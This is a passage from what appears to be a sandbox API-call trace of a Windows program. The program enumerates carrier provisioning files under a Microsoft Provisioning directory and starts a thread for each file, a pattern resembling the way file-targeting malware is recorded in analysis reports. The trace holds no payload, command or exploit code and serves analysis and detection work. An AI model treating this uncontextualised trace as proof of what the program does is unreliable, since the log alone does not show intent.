(Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" [0180.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe19a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0180.454] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f65464, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f65464, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f65464, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="422__C~1.PRO")) returned 1 [0180.454] wcscmp (_String1="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.454] wcscmp (_String1="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f03278 [0180.454] wcscpy (in: _Dest=0x4f03278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.454] wcscat (in: _Dest=0x4f03278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.454] wcscat (in: _Dest=0x4f03278, _Source="422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" [0180.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0180.455] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f65464, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f65464, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f65464, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x0, dwReserved1=0x0, cFileName="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="423__C~1.PRO")) returned 1 [0180.455] wcscmp (_String1="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.455] wcscmp (_String1="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f914d8 [0180.458] wcscpy (in: _Dest=0x2f914d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.458] wcscat (in: _Dest=0x2f914d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.458] wcscat (in: _Dest=0x2f914d8, _Source="423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" [0180.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f914d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0180.615] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f65464, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f65464, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f65464, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="424__C~1.PRO")) returned 1 [0180.618] wcscmp (_String1="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.618] wcscmp (_String1="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02838 [0180.618] wcscpy (in: _Dest=0x4f02838, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.618] wcscat (in: _Dest=0x4f02838, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.618] wcscat (in: _Dest=0x4f02838, _Source="424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" [0180.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0180.688] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="425__C~1.PRO")) returned 1 [0180.688] wcscmp (_String1="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.688] wcscmp (_String1="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f8ff58 [0180.688] wcscpy (in: _Dest=0x2f8ff58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.688] wcscat (in: _Dest=0x2f8ff58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.688] wcscat (in: _Dest=0x2f8ff58, _Source="425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" [0180.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8ff58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0180.689] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="426__C~1.PRO")) returned 1 [0180.689] wcscmp (_String1="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.689] wcscmp (_String1="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f914d8 [0180.689] wcscpy (in: _Dest=0x2f914d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.689] wcscat (in: _Dest=0x2f914d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.689] wcscat (in: _Dest=0x2f914d8, _Source="426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" [0180.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f914d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0180.690] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="427__C~1.PRO")) returned 1 [0180.690] wcscmp (_String1="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.690] wcscmp (_String1="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.690] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f904b8 [0180.690] wcscpy (in: _Dest=0x2f904b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.690] wcscat (in: _Dest=0x2f904b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.690] wcscat (in: _Dest=0x2f904b8, _Source="427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" [0180.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f904b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0180.690] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="428__C~1.PRO")) returned 1 [0180.690] wcscmp (_String1="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.691] wcscmp (_String1="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f90610 [0180.691] wcscpy (in: _Dest=0x2f90610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.691] wcscat (in: _Dest=0x2f90610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.691] wcscat (in: _Dest=0x2f90610, _Source="428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" [0180.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0180.691] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f8b671, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f8b671, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f8b671, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="429__C~1.PRO")) returned 1 [0180.691] wcscmp (_String1="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.691] wcscmp (_String1="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f910d0 [0180.692] wcscpy (in: _Dest=0x2f910d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.692] wcscat (in: _Dest=0x2f910d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.692] wcscat (in: _Dest=0x2f910d0, _Source="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" [0180.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f910d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0180.692] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90247f0e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90247f0e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90247f0e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", cAlternateFileName="42__CO~1.PRO")) returned 1 [0180.692] wcscmp (_String1="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.692] wcscmp (_String1="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02318 [0180.692] wcscpy (in: _Dest=0x4f02318, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.692] wcscat (in: _Dest=0x4f02318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.692] wcscat (in: _Dest=0x4f02318, _Source="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" [0180.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0180.693] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="430__C~1.PRO")) returned 1 [0180.693] wcscmp (_String1="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.693] wcscmp (_String1="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2f6ab60 [0180.693] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.693] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.693] wcscat (in: _Dest=0x2f6ab60, _Source="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" [0180.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0180.694] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="431__C~1.PRO")) returned 1 [0180.694] wcscmp (_String1="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.694] wcscmp (_String1="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.694] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f91630 [0180.694] wcscpy (in: _Dest=0x2f91630, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.694] wcscat (in: _Dest=0x2f91630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All 